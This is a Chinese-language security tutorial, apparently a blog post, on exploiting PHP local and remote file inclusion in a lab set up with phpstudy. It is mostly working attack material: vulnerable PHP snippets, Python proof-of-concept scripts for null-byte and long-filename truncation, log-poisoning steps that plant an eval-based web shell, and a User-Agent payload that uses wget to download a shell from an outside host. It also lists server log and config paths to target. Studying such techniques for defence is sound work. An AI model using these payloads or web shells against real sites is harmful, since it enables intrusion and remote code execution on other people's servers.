“懲惡揚善,取財有道” 這八個字應該是這個時代,白帽子職業,最有尊嚴的生存方式。
0x00 環境準備
phpstudy
sublime
firefox(hackbar)
0x01 本地文件包含(LFI)
被包含的文件在服務器本地
1. 常見本地包含
① show_1.php
<?php
if ($_GET['page']) {
include($_GET['page']);
}
else{
echo "please input the pragram as page";
}
?>
② 1_php.jpg
<?php phpinfo();?>
結果
http://zhutou.com/file_include/show_1.php?page=upload/1_php.jpg
③ show_2.php
<?php
if ($_GET['page']) {
include("./action/".$_GET['page']);
}
else{
echo "please input the pragram as page";
}
?>
結果
http://zhutou.com/file_include/show_2.php?page=../upload/1_php.jpg
2. 截斷本地包含
① 00 截斷
條件:
Magic_quote_gpc
爲off
原因:服務器的代碼規定了包含文件的後綴
<?php
if ($_GET['page']) {
include("./action/".$_GET['page'].".php");
}
else{
echo "please input the pragram as page";
}
?>
結果
http://zhutou.com/file_include/show_3.php?page=../upload/1_php.jpg%00
Poc
這裏需要注意 string = '../upload/1_php.jpg\u0000'
不能寫成 string = '../upload/1_php.jpg%00'
,因爲 %00 提交之後已經被編碼成 \u0000
#!/usr/bin/env python
# -*- coding: utf-8 -*-
'''
環境:phpstudy 搭建
漏洞源碼:/file_include/show_3.php
應用漏洞:文件包含,00截斷
'''
import requests
import urllib.parse
'''
zero_cut = urllib.parse.quote('%00') #對 %00 進行 url 編碼
print(zero_cut)
'''
string = '../upload/1_php.jpg\u0000' # 00 截斷
url = "http://zhutou.com/file_include/show_3.php"
payload = {'page':string}
header = {'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0'}
r = requests.get(url=url,params=payload,headers=header)
result = r.content
result = result.decode()
if result.find('PHP Version 5.2.17') == -1: # 如果查找不到該字符串就返回 -1
print('文件包含失敗!')
else:
print('文件包含成功!')
結果
C:\Python35\python.exe E:/pycharm_project/python_base/Poc/test/LFI_截斷.py
文件包含成功!
Process finished with exit code 0
② 長文件名截斷
Windows 和 Linux 的文件名長度是又限制的,超過長度的就會被忽略。通常情況下 Windows 的截斷長度是 260,Linux 的長度是 4096。
PS: 在 Windows 文件名後面加 /.
或者 \.
都可以。
show_3.php
<?php
if ($_GET['page']) {
include($_GET['page'].".php");
}
else{
echo "please input the pragram as page";
}
?>
Poc
#!/usr/bin/env python
# -*- coding: utf-8 -*-
'''
phpstudy 搭建
漏洞源碼:/file_include/show_3.php
應用漏洞:文件包含,長文件名截斷
'''
import requests
string = ''
for i in range(260):
string += '/.'
string = 'upload/1_php.jpg' + string # 長文件名截斷
url = "http://zhutou.com/file_include/show_3.php"
payload = {'page':string}
header = {'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0'}
r = requests.get(url=url,params=payload,headers=header)
result = r.content
result = result.decode()
print(result)
if result.find('PHP Version 5.2.17') == -1: # 如果查找不到該字符串就返回 -1
print('文件包含失敗!')
else:
print('文件包含成功!')
結果
C:\Python35\python.exe E:/pycharm_project/python_base/Poc/test/LFI_截斷.py
文件包含成功!
Process finished with exit code 0
0x02 遠程文件包含(RFI)
被包含的文件在第三方服務器
條件:allow_url_include=On,默認是關閉,開啓之後重啓服務即可
1. 常見遠程包含
用法和本地包含差不多,把本地的路徑換爲 url 即可
http://zhutou.com/file_include/show_1.php?page=http://zhutou.com/file_include/upload/1_php.jpg
2. 截斷遠程包含
問號截斷法
把需要截斷的地方當成參數或直接放在問號後面即可。
http://zhutou.com/file_include/show_1.php?page=http://zhutou.com/file_include/upload/1_php.jpg?id=
或者
http://zhutou.com/file_include/show_1.php?page=http://zhutou.com/file_include/upload/1_php.jpg?
0x03 利用
1. Apache 錯誤日誌(error.log)上傳一句話
① 原理
構造一條不存在的 URL ,並將一句話插入其中,訪問出錯後在 apache 的錯誤日誌中會保存該 URL ,該方法很好地解決了不能上傳圖片馬的問題。
② 錯誤的 URL
http://zhutou.com/<?php @eval($_POST['pass'])?>
如果 error.log 太大,瀏覽器訪問超時的話,可以將一句話改爲如下代碼,使得包含日誌的時候在網站自動生成 shell.php
<?php $fp=fopen("../../WWW/shell.php","W+");fputs($fp,"<?php @eval($_POST['pass']);?>");fclose($fp)?>
PS: 這裏注意瀏覽器會自動給 URL 裏面的字符編碼,空格,尖括號等等。
③ 包含日誌
apache 日誌文件默認:
/etc/httpd/logs/access_log
/var/log/httpd/access_logs
通過 apache 的配置文件找日誌文件路徑:
/etc/httpd/conf/httpd
/etc/init.d/httpd
nignx 日誌文件默認在 logs 目錄下
Windows 2003 + iis6.0 日誌文件默認在:
C:\WINDOWS\system32\Logfiles
配置文件默認在:
C:\Windows\system32\inetsrv\metabase.xml
iis 7 日誌文件默認在:
%SystemDrive%inetpub\logs\LogFiles
配置文件默認目錄:
C:\Windows\System\inetsrv\config\applicationHost.config
2. Linux 環境變量包含一句話
原理是包含/proc/self/environ,這裏會有用戶訪問web的session信息,其中也會包含user-agent的參數,這個參數你瀏覽器名稱的參數。而這個參數在我們客戶端是可以修改的,
所以說想個辦法修改user-agen,比如修改成
<?system('wget http://81sec.com/shell.txt -O shell.php');?>
然後提交一個,包含/proc/self/environ的請求就可以了。
3. 包含 data:// 或者 php://input 等協議
條件:allow_url_include=on
這是一個 php 的輸入流,可以讀到沒有處理過的 POST 數據
$raw = file_get_contents('php://input','r');
echo $raw;
4. php://filter
http://zhutou.com/file_include/show_1.php?page=php://filter/read=convert.base64-encode/resource=demo.php
或者:
http://zhutou.com/file_include/show_1.php?page=php://filter/read=convert.base64-encode/resource=http://127.0.0.1/file_include/demo.php
0x04 參考文獻
http://www.ush.it/2009/02/08/php-filesystem-attack-vectors/
https://blog.csdn.net/wangyi_lin/article/details/9837257
https://blog.csdn.net/zminr411421_/article/details/52042027#
豬頭
2020.4.18